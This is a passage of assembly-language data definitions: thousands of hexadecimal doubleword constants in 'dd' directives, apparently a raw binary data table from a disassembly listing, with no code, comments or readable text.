0BD380A85h, 0E9E25404h dd 7C82C1E7h, 0B5432E17h, 4100C348h, 4ACB9E1Eh, 0BBE70A2h dd 519A99E5h, 0B439B889h, 5BCD10BCh, 0D8990981h, 70302BD6h dd 954B2220h, 0FC2C9020h, 0D3DC00B5h, 0A290F92Dh, 0C602679Eh dd 551244CAh, 452A40A9h, 90809281h, 0C52F2234h, 72FE4F07h dd 0B3C02A29h, 3C9F8EE0h, 634B5D96h, 21000560h, 0A0E8A2DBh dd 969B873h, 389FDF79h, 0C202686Ch, 3F0150CBh, 90005278h dd 85D94C50h, 29B35900h, 4EA27045h, 6F0DA300h, 48B7CCE0h dd 0FCBE582Bh, 0CC30DEB0h, 0A48A0404h, 74A6B83Ch, 293B2F18h dd 0D8006064h, 4E87B511h, 1E8F2850h, 9B415C1h, 0E882FBEAh dd 20412C79h, 44C214E4h, 88E72510h, 0F90003C4h, 4908A6A1h dd 1F5A2h, 0C46EB19Eh, 7259BC40h, 4C34304Ch, 859EB0B0h dd 0CD94394Ah, 4C32D61Fh, 4921761Ch, 25393118h, 9BC02BE1h dd 20DA3FA8h, 393D9724h, 0F3768F01h, 0DBE5C15Dh, 0F700A832h dd 2814C62Fh, 0A40F5A02h, 321C767h, 0A8773159h, 0EC0E2BC3h dd 0FEE40E97h, 0E5426D0Ch, 0A3409123h, 0BE5CC844h, 41C20474h dd 74F67D83h, 182C2305h, 0C8CB3D0h, 0E1EADA49h, 3C91E2h dd 5D576B61h, 0ED1FF362h, 688019DAh, 604577A3h, 9541FA1Ah dd 0E482490h, 9EDB8A4h, 8E6074h, 0DBA00AE3h, 5F4117EAh dd 862D75Fh, 40045C91h, 16B3961Ch, 0A0E1101Fh, 1CE32C0h dd 1CCDF129h, 40EEC33Ah, 0BCBBA23h, 46602F77h, 8239B939h dd 0C6BE00CCh, 0FEBAD21h, 5AF82DEFh, 5DCA1D02h, 0F9B734E7h dd 7E74C0A8h, 960427B9h, 5D671FE5h, 146A9871h, 0B406F0ADh dd 4114E159h, 0BF6A0200h, 610B1536h, 0CA07003Ch, 522BFE9Dh dd 4C7FF23Ah, 0A1056C96h, 0A6C0EE7Ah, 0F94D5095h, 45E57C70h dd 0A8C44010h, 0D490E214h, 84962B1Eh, 832E78D0h, 89F43EFCh dd 600A10BEh, 541009Fh, 0B0CE729Ch, 6F29B9E2h, 0BC40B419h dd 7429C412h, 0BDD9273Ah, 89D4411h, 453C4E53h, 9919C480h dd 634430D8h, 0E7391200h, 0DEDF5114h, 0B7CB2B65h, 1EA48898h dd 0C6080FA7h, 0F8612E12h, 224CB896h, 0BF44EAF1h, 59C218B7h dd 0D9066CBBh, 54BE7F26h, 0A5C3FEC3h, 9638C8h, 0B0139EE4h dd 35B1F1CBh, 0EB71A000h, 0C4BB88D3h, 82A5C82h, 0ECA33AC3h dd 5C05B21Fh, 39C84844h, 6180CCACh, 201623AFh, 15A0EA01h dd 170F10D9h, 0E4A849F7h, 0BDB8C8h, 0ECC21F36h, 9E8F45Fh dd 0D93B1213h, 0F2FE898h, 1D61CBh, 6EC39724h, 30FB0033h dd 0CD577E95h, 0C04A47D4h, 43929C04h, 8440E742h, 0D511600Fh dd 0FD913DFDh, 6DD0817Eh, 6905D4B6h, 4BCBD2Eh, 17260911h dd 0E259C03Ch, 935CF2E5h, 4930C808h, 0DB00D059h, 35A96B9Fh dd 0ED540050h, 0E3CDBEF3h, 4A2B7E8Dh, 253C8092h, 9EC8CC3Eh dd 91CF670Ch, 93FD9C42h, 942CE391h, 301645FFh, 0B1279B58h dd 8C7810B7h, 0F3C80074h, 3822888h, 58B32FE3h, 122AFE81h dd 6022C132h, 8350F400h, 0E982E448h, 1CBC280Fh, 19BD3C8Eh dd 0E229F62Eh, 0CF00BC69h, 0E6CCA09h, 4D00DDBCh, 0C2751D30h dd 2632F9E8h, 0E414AC14h, 7905400Eh, 0B88F6A1Ch, 14D716F6h dd 0B2E065EBh, 765F009Ch, 694CEFD1h, 0F0670071h, 7EA11823h dd 0A902917Bh, 0C82ED9Bh, 0A110F819h, 902C6277h, 0AE8B5181h dd 9F4AE0D4h, 18B41B38h, 0FD8913E1h, 2D23003Ah, 0A79AC961h dd 29705EE6h, 2CC70105h, 0A0D40DB0h, 0DCDD2840h, 261B1233h dd 3E4A0605h, 0A78100CCh, 2050699Ch, 7105C77Ch, 0D3BA3BABh dd 0EC9570A2h, 6AB4CD83h, 1F924C90h, 941334B3h, 88C62098h dd 6912FE30h, 58C4D5F2h, 0A6C24000h, 0ACF132h, 436ED3C9h dd 41034870h, 24D19C24h, 0D5A2C282h, 0D45A3Ch, 53B1DD4Dh dd 11C6FB3Fh, 23ADC507h, 0F301ABB7h, 29960E8Eh, 2CE420E7h dd 0CC38F57h, 0B81FD126h, 93327139h, 2EC8A698h, 68F840E4h dd 6607B112h, 0E4934BBh, 0B701C000h, 0B57B0F9Eh, 28EA5A27h dd 0D2C761B4h, 0B483F49Ah, 0AB373400h, 0A766A8CDh, 9BF42977h dd 9568BA0h, 21C560E9h, 4198C984h, 0EAB450DFh, 0BCAC08DBh dd 1518F101h, 202EB72Ch, 0B9778E68h, 0D4C1D915h, 83BEC8BCh dd 8047B00Ch, 5B86D08Fh, 9B01BD85h, 0CF263F81h, 54332948h dd 11335903h, 38E1A662h, 7F6CF41Bh, 0B31A780Fh, 41E6830Fh dd 71793B84h, 0C5DB1F80h, 8BB0537Bh, 0BCF2801h, 0D7DEAA90h dd 4C0F4EF8h, 392250E5h, 78E0C200h, 0EA806025h, 0C1310297h dd 0E5673507h, 5D85D459h, 6CC065E6h, 0FA4A30h, 0B7B958C7h dd 27981B69h, 2CD8934Ah, 50FE03C2h, 1830B544h, 461FD8B8h dd 0E5777D17h, 0BBD47877h, 1F90F443h, 81C2F927h, 88D948D8h dd 69115466h, 0F022ECh, 0E18DDECFh, 2A96A6D4h, 3A81A701h dd 0A953EBC6h, 0C3C18CF5h, 55002C26h, 68AAE0C1h, 0BF60DB6Fh dd 6C3982C8h, 0DCE54E90h, 134446F4h, 739E01C5h, 0B0DEA44h dd 0A8223EF3h, 4307BBFh, 0D786DAB3h, 0B96E2EA8h, 5670E012h dd 28103D28h, 4DE45001h, 0CB433A5Fh, 0A4A8042Ah, 800E480Dh dd 0BFB4365Ch, 0AF0A0894h, 68F9E3DAh, 9765E5C0h, 3FBA0B09h dd 64C4BB16h, 0ACEDF23Ch, 491168D0h, 4056C20Bh, 0B0692C98h dd 16B2BD19h, 121107A0h, 0A0BC28BEh, 1E8BB8A3h, 647EB56Bh dd 681D14FAh, 5C8162Eh, 70E88CD2h, 97295DA4h, 0FA14CC0Fh dd 0F315C260h, 0BAA0918Fh, 2D2C713Eh, 202910C5h, 48A0A4BFh dd 8780A478h, 0DF577B1Fh, 2286739h, 622D0444h, 511441C2h dd 8E88B708h, 0A6340055h, 40140E9Bh, 315ADFD9h, 6CD82064h dd 48C309FCh, 10038683h, 991116Dh, 12785156h, 96FC3D9Dh dd 20B94C62h, 0B959849h, 50D9400h, 62F39954h, 0DB1104A8h dd 0D9F29D61h, 64742B44h, 0A7DFDCACh, 380FC064h, 6046F253h dd 738EA93Bh, 7CB20596h, 0A431452Dh, 305248DCh, 976303A4h dd 120CF806h, 98843F58h, 0F1E775Ch, 0AE8055D1h, 0ADA0A269h dd 0AAB61450h, 4FA08CB7h, 20913853h, 5E9EBE00h, 0BECADh dd 0C6BC2907h, 0E8408B14h dd 57EF34A0h, 6F640A01h, 831EA52Eh, 28DF8C8h, 4AD75603h dd 6454ACDFh, 919AF4C2h, 2819E38Ch, 4BD68550h, 7AA16380h dd 607C024Ah, 0A8711F02h, 0AEC01C7Ch, 0E285BDBFh, 5DE0C7h dd 51433249h, 5A99452Bh, 8CB78026h, 884AE911h, 0D000BCB4h dd 0E0BB6072h, 16C3C3Fh, 6AA6B552h, 26E36DEAh, 0AC4B24C4h dd 429CC625h, 444E2496h, 0C21E7C40h, 67FF0EBDh, 0DD608737h dd 3AD575BAh, 0ACC70C3Bh, 0F060285Ch, 0B9F9FDh, 0BF4CB2A7h dd 7473CACDh, 9023AA25h, 59ACB8h, 0B9755A45h, 0B79398A8h dd 5D820A07h, 7A50FB4Fh, 5B15D0EEh, 0C6BC42C5h, 1538B594h dd 60F891BBh, 3016DFB1h, 8723F15h, 8021C8C4h, 787C0987h dd 4B64A11h, 747A3542h, 0F7CBC074h, 8A07EE1Fh, 423F0771h dd 0AAE7E2C0h, 27834374h, 752C645Dh, 38A3B076h, 488E1798h dd 74C07ECAh, 0E61634D7h, 52D80318h, 24BEA7DAh, 4D8103Eh dd 0F8CB9438h, 8E63C09Ch, 0E8DEFCh, 0B4315AE1h, 0D667D037h dd 23C41CB6h, 809DB8ECh, 39CAF81Ah, 4A00527Fh, 97C54B9Bh dd 124CEC30h, 0E3E47DA5h, 0EDD21374h, 0FD216E00h, 724C038h dd 0D91666C9h, 1C5BC9EEh, 9A9E81BBh, 0BDA2A514h, 0C3221C79h dd 0C8045F00h, 0C1A68264h, 207E02DAh, 294528C0h, 0E64BF044h dd 96034C40h, 33472Ch, 20247C1Ch, 0E41AF44Ch, 1BF36803h dd 0E12E0434h, 666A90E5h, 9C6014A0h, 9DB3A192h, 0C03D0042h dd 5FE8E1CDh, 8E31F449h, 48C2E17Ch, 0C6000C22h, 0E89303D2h dd 32F9B0F0h, 793B0578h, 0E80EEFBh, 0E5D922Ch, 113E7D77h dd 0A945B284h, 87E68754h, 8443Bh, 16F07ED9h, 0E3CC2103h dd 0F370C201h, 0FF623643h, 2576E4D8h, 0E4C5BEC5h, 0FC069013h dd 9859E6D8h, 0C51F4478h, 35369316h, 1E5D0498h, 0C570CD0Dh dd 88E24FF9h, 0A700A0F4h, 781E98E9h, 91FC461h, 5DA66642h dd 8B5D4466h, 80C496F0h, 4309BCECh, 4CC848BFh, 25003E05h dd 42BD7932h, 4D0DFBh, 0A6D5863Fh, 0B7292019h, 0F8B38DFh dd 0E424C3D8h, 0E0580E4Ah, 0A00AC549h, 0C454945Dh, 0A2240E43h dd 0C46403E0h, 0E8081D3Ch, 4C19DA35h, 105804B6h, 58CCB6D3h dd 0A615220Ch, 0E2C90084h, 18AA7C6Ah, 60E4C427h, 90020C5Eh dd 0F13D96F2h, 0AC132F70h, 2CC720F4h, 0E0B8B788h, 0C90085DCh dd 0C714672Dh, 5A9AE807h, 8C509C90h, 4445BC0Eh, 56BF62A3h dd 2EFCDA42h, 0B38078Eh, 3C0899D9h, 2245E488h, 4C43Ch dd 2F2E7C35h, 0CF6E822Ah, 0B7A82809h, 0D1B87A4h, 8805248Fh dd 0BA22DCA6h, 4CB6EA1Dh, 3A65A0C7h, 8C15A970h, 79BF0566h dd 0D187B4DEh, 8120AF0h, 0A0750F9Eh, 0F48BACCDh, 0E4A840D1h dd 594808E9h, 980D42Ch, 9F15D4FEh, 0B7223E42h, 6579F903h dd 9833D10Bh, 1D358C5h, 7E85AA59h, 0EA862ACBh, 2CFD854h dd 5A74560Dh, 0A0122C70h, 3A944830h, 690BBD44h, 4001F960h dd 17741ACh, 0D7E56379h, 362B2935h, 94872B94h, 0A405305h dd 2049B822h, 30EA875Dh, 68116300h, 0C9024A64h, 0BDE6EA75h dd 6C54700Eh, 0C898F413h, 8345D38Ch, 304C0461h, 18F98632h dd 0F20C40C0h, 0C91C995Ch, 31479E5h, 90B5974Ch, 0FBE120FFh dd 0A5383A75h, 22C180BEh, 0FBBB7D1h, 8078BB9Fh, 3672B32h dd 0A122007h, 0E0880956h, 698777B3h, 0E4CA9811h, 4C2C7045h dd 18EB5824h, 0A1CC4Ch, 3CC98BAAh, 3AB2261Ah, 95A64700h dd 7C5EE8C1h, 0D4832535h, 29045866h, 28E5AC4Ah, 1FF18B1h dd 0DAE223F9h, 6B5B46F9h, 39727802h, 84E459D0h, 0C8DBE661h dd 0F9F8DD74h, 1C805F00h, 7643B54Bh, 128E1CB0h, 492700C2h dd 0C8C669Fh, 582A173Ch, 5E1A0FACh, 0B87804C1h, 0E15CFA40h dd 53EAA544h, 0CBF6190Eh, 0D58BF67h, 94931269h, 0CEE05038h dd 0B1008CB8h, 945C935h, 4AC2BD4Bh, 8AA438AFh, 0D2181600h dd 45D162BDh, 6DA31C97h, 0A70D8F78h, 2D849856h, 2F98BA52h dd 0A470A03Ch, 13C314B3h, 0F355F06h, 0A3339BD3h, 0AB22D8h dd 9F3AE92Eh, 0BA4A3D0Ah, 8E7734E0h, 9C21EA44h, 0C619E044h dd 70778B9Eh, 1F55DD01h, 97C0DF96h, 0BECBCDCh, 0E653C762h dd 6695FC20h, 3096491Ah, 0C0304806h, 0EC630549h, 0B92A5C44h dd 0FABCC0D4h, 5DD9C611h, 2B82DCE2h, 0E45E3112h, 0F7C1DE40h dd 0D95802D1h, 7DC92097h, 909DF46Eh, 0B12D930h, 80F04520h dd 40BC40A4h, 3A534DDEh, 584F4DFFh, 82796D10h, 2258A32h dd 30742A97h, 908D3E40h, 885C5A58h, 84001378h, 0B7BC3403h dd 0C3AFCEh, 1841D9CFh, 0C66C146Eh, 16405899h, 0C477CDh dd 912981D4h, 0DA4C56D1h, 0A2E25894h, 10C11154h, 234F5AFh dd 0EA933306h, 887C3CE8h, 2F1220E1h, 0C4131023h, 30A2BEh dd 0A02075FFh, 12FA5401h, 8B6FE90h, 0F285BCB4h, 0E0B24995h dd 294D8A22h, 10ADDE1Ch, 9C1F44h, 3C31C4Eh, 0CE69671Dh dd 0E747FD04h, 0DCE987A3h, 0F1D949A0h, 45B091BDh, 9054772Fh dd 52AACD9Dh, 676027Ch, 1CDB3A00h, 190DBA55h, 44945495h dd 9E670063h, 8B09D5E2h, 0D812E937h, 0D49C1144h, 60AB24EDh dd 0BD380038h, 9F21348Ah, 36FF47E2h, 0E4B92D28h, 5F560014h dd 7EFA6678h, 4000088Fh, 80613713h, 0EA5E839Bh, 3F29125Ch dd 54E0C879h, 0F0AB930Eh, 82D281CDh, 0FAF3B545h, 0C40874B9h dd 79BE4010h, 63E768h, 28B8ACEBh, 485E8682h, 98A6EC0Bh dd 40C079C1h, 1649E823h, 0FDC39F7h, 1FE83A4h, 2DA0A564h dd 88F4A434h, 14B797F2h, 0B810038h, 17BFB75Bh, 0F0B767B5h dd 0C42155C2h, 247BCA61h, 80C56D4h, 456407A8h, 8AE93240h dd 8B000E97h, 6AEE650Ch, 2CBED53Fh, 2E083F7h, 24A47646h dd 2CC82000h, 20684A91h, 34A5BF3Ch, 16EC2397h, 9615C9F7h dd 0E614413Ah, 0E5816D51h, 58043A89h, 3C4B110Ah, 63729C10h dd 0E4383D01h, 12245C3Eh, 0AE216C3Dh, 0A21CF216h, 53216h dd 0F802E946h, 840F4253h, 5B411428h, 0F0FFEBFAh, 120A83F8h dd 248427A1h, 0E7F81127h, 6000DC22h, 35F9617Eh, 2D3B75E8h dd 700C0B1Bh, 0C4A4075Ah, 88591614h, 6C8C31CCh, 223680ECh dd 45BB8Dh, 7B41BE3Ch, 0F2FCE408h, 0AF564701h, 0D940D35Dh dd 74EDF042h, 345CE00Ch, 24007EB0h, 306F2BE9h, 96AA5FCh dd 0F1E09290h, 1214AC49h, 8E20F43Ch, 0D240DCBEh, 7E525475h dd 22B0C15Ch, 0C4BB001Ah, 0AC493367h, 0AE1228E3h, 0ECD04D61h dd 0F4E7E88h, 67323C5Fh, 30705316h, 0EBD98C24h, 15BB3Ah dd 13734BC8h, 11BA6B5h, 0A443EE6Ch, 42CDAF8Eh, 70C21FD0h dd 2240C05Ch, 8CA77h, 0F4BB44D0h, 7FFDE75h, 0C3999100h dd 0FA31705Ah, 88494F09h, 15152BB8h, 4CD43C9Fh, 0BA8DC0B8h dd 35FA360h, 0C1DCEC37h, 5E901257h, 0ED60930Bh, 455321D8h dd 40919D15h, 88C60857h, 0F815FB1Ch, 81E82F5Fh, 269C425Eh dd 0C2A8003Eh, 0DB97B3DAh, 8986C800h, 0EC36E57Bh, 84344DCEh dd 84E2C510h, 0B5257697h, 60333180h, 0A5014B39h, 0C38BD424h dd 1FD44494h, 0CE004D2h, 0E2F628FDh, 0EE007754h, 495BE6C7h dd 3F8DA90h, 6A4CCE85h, 37805FB2h, 5731E704h, 0BCD880E2h dd 0E0C02912h, 2F8151EFh, 8F04FC73h, 41E75CA2h, 0A698DE65h dd 0C0D4F860h, 0F220DF40h, 0BF701A54h, 3304410Ch, 9530E13Bh dd 8F078C14h, 8CF2167Eh, 8797F30h, 909E008Dh, 0B63B42FDh dd 0A412BE2Bh, 0DCA80EE0h, 2C17778h, 0E54A9B7Eh, 0B844DDF9h dd 38681F00h, 2041C50Fh dd 95D55F97h, 0C014FCF8h, 704EB9CFh, 0AE7A00ADh, 321994E1h dd 49742491h, 505F1533h, 808CCDF4h, 69188C2Ch, 2D5061CDh dd 487813C0h, 8D8C20D7h, 0B107DD99h, 53761140h, 0C5431444h dd 3DA25B9Eh, 10502BC0h, 13FA2809h, 46AC02B7h, 0CA122211h dd 42105C59h, 78E17482h, 0DD30EC90h, 9F0D9100h, 2A4C8E53h dd 45A00296h, 7821CD40h, 0FAEA3C41h, 0EEC87h, 0B76A1851h dd 54013379h, 9EF52FBEh, 0DCEC94EBh, 0D3883CF6h, 11967318h dd 4992F30h, 77DB8F3Ch, 3C540384h, 387B81h, 0BF23E4C3h dd 2F2675A8h, 2855E100h, 7A9EAEF8h, 0C1E307EBh, 99422117h dd 4B005CD9h, 0DA6D7D85h, 0B4B300C8h, 30079123h, 0EF2E997Bh dd 4E009F5Ah, 7C50DB9Dh, 22072DCh, 77FFB2B6h, 0C8BB181h dd 45125004h, 0CC1358C2h, 0AC592800h, 1FB19Eh, 0F9FE6C7Ch dd 3F122590h, 0C515D90Ah, 0C3030CDDh, 0C936CC4Eh, 0A0E887B7h dd 290900C4h, 598CD747h, 0C5004330h, 0C7603448h, 1DDE4F21h dd 97BC50h, 1B3B6494h, 10C97A5Bh, 4EC580DAh, 0ABF7B45h dd 841FE21Ch, 12CE00A8h, 1587F592h, 84E4BB48h, 0ACFDDBE6h dd 7605FC00h, 0E952C9BFh, 0B3C37003h, 250BD87h, 0B90C13D0h dd 7E4356h, 84C82D82h, 64215788h, 0AD38BC15h, 7CC4459h dd 9B0FD945h, 3DFC208Dh, 540704B6h, 3874793Bh, 7A2BA8E0h dd 9765019Ch, 0B72843E7h, 0F0096F92h, 58CC5C89h, 4D039EC4h dd 0C823E29Dh, 60BEC22Ah, 31B43C37h, 0D43083CFh, 84706EB6h dd 0FA29F88h, 5D1E0A38h, 0A4DCD48Ah, 76D861E8h, 390830B9h dd 4BFCEF0Fh, 0CE498098h, 0B40D7Bh, 6A17FA14h, 97DB2D50h dd 80ECE048h, 0A118932Fh, 0C0200F09h, 307759C6h, 269753F0h dd 0C22D9E00h, 0D1A699E2h, 365F0006h, 0D9542AC4h, 411CC6A9h dd 78000D23h, 9731FE15h, 530CA1DFh, 989476FEh, 5C25B93Ch dd 0DDC01800h, 0AFB2E404h, 28900750h, 53136F37h, 2392CFB1h dd 3E001CF1h, 6DEE4385h, 8F290412h, 0C5D034C2h, 0B2A0h dd 7573ADE7h, 1ED466h, 9CE0B478h, 26BA3721h, 107CF85Dh dd 1C448441h, 5DAB3ADCh, 0E8C6CB02h, 0DB6160DDh, 7636F026h dd 0ECFCCE4Fh, 905C5C48h, 0E8377080h, 8009624Ch, 64D5955Ah dd 6DE0002Ch, 35508219h, 909DFF15h, 36AA958h, 0F21F92FDh dd 0B8E561C5h, 8BE90370h, 999C8945h, 4C3CF312h, 0F485178Bh dd 6FE0E43Ch, 0BA180700h, 10CD1170h, 68CB0F1Bh, 0B4C0484Ch dd 0F0E13153h, 0BC221F05h, 64C4710Ch, 68D6A460h, 9300137h dd 3EC661Fh, 0D8056E6Ah, 64D1EF34h, 12101E3Bh, 0C08360C5h dd 1C8F2C61h, 5391D8E0h, 5D08214Dh, 0FBD43038h, 0A03E400Bh dd 0A1410EEh, 79156ADDh, 4D14930h, 0E948200h, 2D6CCDh dd 9F5121FFh, 0B529C3C8h, 70EEC417h, 0E5385802h, 4428F083h dd 35F85CF0h, 7E743B70h, 8DC8F900h, 3DA486ACh, 0EA6C24D1h dd 0B8E51234h, 0B0DE806Ch, 68768h, 4A058EC6h, 0DA0A4BC7h dd 739D50A0h, 7498C573h, 88F2830h, 2F48F388h, 0F4CEF12Bh dd 9852B300h, 7A72585Ah, 0D3740027h, 5794FAFBh, 0BCFC1D45h dd 1B1EB507h, 6B100D87h, 3C20721Ch, 3CF04C78h, 21808A6Fh dd 99E5B4CCh, 0D82C48A5h, 3D50ECF5h, 16BE0008h, 0BA528299h dd 96068C90h, 9DEF8332h, 15C00442h, 0C413313Fh, 0E66EC06Ah dd 0E8482023h, 0A7D78074h, 0BC57A6h, 658A3C21h, 2EE3B96Bh dd 0FC379000h, 0E1F11B8Dh, 243E54D0h, 70E495B4h, 0A6EF7100h dd 6633A364h, 0D01004D9h, 0C4A92D4Eh, 0C52488DCh, 85B0E04Ch dd 0A4543D9Ah, 27F33A14h, 0C4C649h, 91360142h, 0EB3248B7h dd 3B44C09Eh, 0CA03C15Eh, 0FCEF85FDh, 3F029167h, 0CBAE31D7h dd 35254036h, 0B0305844h, 99115D80h, 0A300ECD7h, 0DC9C0145h dd 0B7C7158Ch, 36085410h, 0C3136300h, 0F9F2A171h, 5CC117B6h dd 4A00CCF4h, 912A24h, 3E8EF900h, 0CC194930h, 3AF096D9h dd 0EA2D7890h, 8C9020E0h, 3FA7462h, 0D9D1B7A4h, 7BC03637h dd 87008632h, 3A50C022h, 26AE4521h, 0C0A308h, 1E4D27E6h dd 0BCA9405Eh, 0D48470F0h, 5C24F320h, 0CEDF2029h, 7320C3D8h dd 168DCD83h, 5F5CD059h, 0C400D453h, 43E0B3DEh, 3DF170D7h dd 0EB814A2Bh, 45779321h, 0E4D03015h, 0C45E781h, 2018B082h dd 9084BE28h, 8B4684Ah, 56C2883Bh, 89A4745Ch, 8C1C7912h dd 84182650h, 3BA2151Dh, 4088B620h, 1EB8A5CDh, 0A833B000h dd 5CC71B83h, 0F5E800CFh, 686E9459h, 0F22DE5E1h, 0C5EC919Dh dd 1544970Ch, 829D02B4h, 4702C040h, 2D244880h, 9126BED7h dd 8D604C6Dh, 4C560974h, 0C7C86845h, 0E3365E40h, 0B13B00B9h dd 325C9EA1h, 0CA05370Ah, 0E5AC3388h, 45BEB004h, 0D32E54B7h dd 0E8390BF2h, 9DD598A1h, 98CC05C4h, 0C8095B53h, 738CC9FCh dd 0F2AD0AD7h, 12781096h, 0E24C9231h, 0F90F3C72h, 0A102F5E1h dd 5FB328Ah, 678FE0D3h, 0FF4803DEh, 82E39314h, 2078582Fh dd 0C40B8590h, 4D470062h, 0A90361A4h, 0E0FEECDh, 6B6CE635h dd 0B30480E3h, 4DA198Fh, 0F19E78C7h, 3C8DBFh, 0F7ECCC4Ch dd 80B01F3Ch, 3B65CB40h, 2C177DE3h, 0BB06986h, 0E0E4F2FEh dd 0E14BB570h, 67A36C90h, 17B6014Bh, 2D822E90h, 860892D0h dd 0DC007CB8h, 0B78804E7h, 204C41C4h, 0EB9FB1CCh, 693C4C40h dd 90EA0A75h, 4ECCD549h, 9E54B080h, 73002021h, 95F506B5h dd 0A1CEC51Ch, 102CC108h, 0A44C40h, 0DD0EEC2Bh, 190A536Bh dd 5841C89Ch, 0E44C492Ah, 2CAF4945h, 0A2102097h, 0E7025E5Ch dd 69C98A9Bh, 0E7240B2h, 0EDB800D8h, 3693AF1Fh, 5C165BF8h dd 0F022465Fh, 8E4E1h, 957037D8h, 2CA5CCADh, 9218DA39h dd 4C80136Dh, 206D7BAh, 0D0DC9267h, 485A8C36h, 0CB40EC9Eh dd 0FF45CFh, 0C55FBD48h, 2D8A3731h, 4B4AC704h, 74A4C157h dd 34985CF2h, 4C00E852h, 67A09EDEh, 363E0231h, 12230929h dd 42643932h, 1914C508h, 40D830FEh, 0C70B49B8h, 18D90A52h dd 0E6BFF2A4h, 0B8C1826Dh, 0DBE61142h, 6A01AC69h, 5A5DB33Eh dd 0BD2EC152h, 0B71E0FE8h, 81F8F482h, 39BE338Ah, 0E6804439h dd 327FB42h, 0A5B7CD3Bh, 0E5B0003Bh, 5A48DD36h, 0AD58C92Dh dd 0E438A020h, 78AFD83Dh, 75680D34h, 7CB83EE8h, 0AF74E048h dd 574D0098h, 0B179969Dh, 36785C7Dh, 40C884F2h, 47445E4h dd 9993126Ch, 0F8303BF4h, 0A20DF08h, 264F1C59h, 853111B4h dd 2400E261h, 941E7040h, 5D4B304Fh, 0D808FE71h, 2838155Eh dd 12FD83E0h, 499C62F4h, 94DA8E2Eh, 7485C218h, 998D18E6h dd 62DDCA2Dh, 283057F0h, 320086C2h, 66189DC3h, 21F68E1h dd 0A0EA9329h, 6C5C35B5h, 460DC907h, 766B1012h, 212A924Ch dd 7FC22E00h, 0DFD1AC20h, 926C0037h, 9760C685h, 58E624ACh dd 12724A05h, 10C71F69h, 0F442F0E4h, 0E7240C9Ch, 0FE24A4h dd 2278E9Ah, 0AB2A3680h, 0DC902806h, 4D00AE4h, 4A2FEE58h dd 0D9B8C2D2h, 0CCE7D0A7h, 0C800A441h, 1D90CA47h, 285EF495h dd 79939B7Ch, 34909FE1h, 7F009949h, 9390E5BEh, 0B69D2292h dd 2B4841ACh, 935442F4h, 120145Fh, 0D05448EFh, 0FAEC3CE1h dd 0D78800FCh, 0BA298BC0h, 16706F80h, 2805EFF1h, 0A347CA93h dd 3088C812h, 8799001Fh, 0A4F521ABh, 0DD0008A8h, 7DC3590Ch dd 0F769Eh, 20E088B8h, 11EEA02Dh, 350811C3h, 0B0296F46h dd 13A48470h, 842C4942h, 8F33800Fh, 7DD9D80Bh, 91809991h dd 0C90300C2h, 3DEABA5Eh dd 12AD02D7h, 0D548CA91h, 109F6CD0h, 3C504Ch, 7B3981C8h dd 78E355B0h, 0DB0C58B8h, 718298BEh, 0E1671396h, 8298B856h dd 449D502Ch, 348A0950h, 386060C5h, 184E802Fh, 7B0094A2h dd 42DB396Fh, 2A0BA0F1h, 0C92F7C35h, 0CD81A38h, 20285B16h dd 0AB808B0h, 0F8346501h, 5E3D874Ch, 0C9DDC06Bh, 8A1F29Eh dd 22C03C22h, 10C600BEh, 0AF1B443h, 9A098496h, 5CCA797Fh dd 0E0F00680h, 4316C109h, 0B034AEDh, 0E89FD239h, 163BF93h dd 0D2ADE37h, 0D6491311h, 0ED2BBC61h, 0E36C4319h, 1A1C4813h dd 8521B300h, 0FBB14653h, 0D02CB471h, 0ACF60680h, 0B004FC0h dd 0D89AF0CBh, 1352B597h, 0ACA4F2F5h, 8B54A028h, 45650002h dd 0FEB6ED90h, 4008F2Eh, 0C6C1A2D8h, 5C4245Dh, 15B28348h dd 5BF4CC93h, 6411992Ch, 8B1282BEh, 0FCFE7608h, 295319F8h dd 3854224Eh, 951C8001h, 32AE760h, 0C10BF31h, 1D1F36ADh dd 8303854Ch, 924BF80Fh, 0E0B041A2h, 0E017C3Dh, 2D564507h dd 16D46060h, 0E0BA4B88h, 0DA9B16D1h, 328CC110h, 0C09C3D7Ch dd 26927F3Bh, 0FBFD0373h, 4029E12Eh, 0C55CAE88h, 1007DE00h dd 3C97282Fh, 6BB70770h, 80A85B67h, 8A8FD52Ch, 0AE008C7Fh dd 0A6330C1h, 1DE24B32h, 409EAA60h, 228F5FB4h, 1D003B49h dd 638695C5h, 1C971061h, 820B2BDBh, 0C2942D5Ah, 0F9EC985Dh dd 0DC2F0693h, 0D864B740h, 9070084Fh, 0FE796B7Ah, 0C4610002h dd 15C9EDF2h, 80B0FBFh, 82E21256h, 5F218668h, 2E641C38h dd 0FF83839h, 61A79982h, 0DFAC052Dh, 8090C13Ah, 0EC2004EDh dd 0EAE52C5Eh, 74C51CCEh, 4DB2C088h, 97C0A41Dh, 0E7494003h dd 0C85EAB54h, 133D747h, 45795712h, 211EBFB4h, 0C4882A18h dd 3297982h, 0E2B9C6FDh, 2AE8EEB6h, 8EA0BA2Ch, 335C2D52h dd 9BE16F5h, 2565EC28h, 0C4E666E5h, 0AE06AD00h, 8FA2F69Eh dd 6845003Ah, 7A1517A0h, 0A9903790h, 0B8498000h, 7ED8CE83h dd 36C602EAh, 7FC57569h, 0A40F6C5Ah, 49F06CD3h, 0C268802Dh dd 0BC94B40Dh, 0EC186BC4h, 2100E9E0h, 0CB1D0EC3h, 9E57ADDh dd 86FAFDA6h, 9E479300h, 0F80EFCE7h, 0A0D058DEh, 0CA8030BCh dd 0D97454h, 11283A2Bh, 3AD65E4h, 98D7C500h, 0DE6F13F3h dd 534009FDh, 1498E80Dh, 19007837h, 0F38D03E3h, 36A4AB8h dd 0D4C7D956h, 0F90BF84h, 3209CCE7h, 5DB73E9h, 9C408FCCh dd 2A620A5Dh, 43AE2E64h, 2075162Bh, 60D915F4h, 1CBCC495h dd 0EEFFA8h, 0C1E7FA71h, 0E53F3A54h, 9E6A07F9h, 0FD90FBCAh dd 1A3F8Ah, 902F0A80h, 9F0EB515h, 0CB1A000h, 0CF409372h dd 0D76016B6h, 229021DDh, 58307BE8h, 5999BC2h, 8D0D391h dd 0C70C0A30h, 22DE17FFh, 0D3621F64h, 0E42084D6h, 949CC60Bh dd 975C4076h, 0C3130B04h, 3C1848A1h, 671F617Ch, 84454C60h dd 0B4C09FC1h, 0BE2416F1h, 0E1B36054h, 0B17F89D9h, 3AAA583Fh dd 8D9E938Eh, 0AD4A6840h, 0BE28EDC4h, 4C0A438h, 8D6994E7h dd 0C7902C94h, 0BEB4E021h, 0C18420AAh, 0E7025399h, 15E3CAFAh dd 0AC145794h, 0AB314400h, 0BBE04C82h, 4BAA00F7h, 0C8FFE5CBh dd 0E10060ACh, 1C9626C3h, 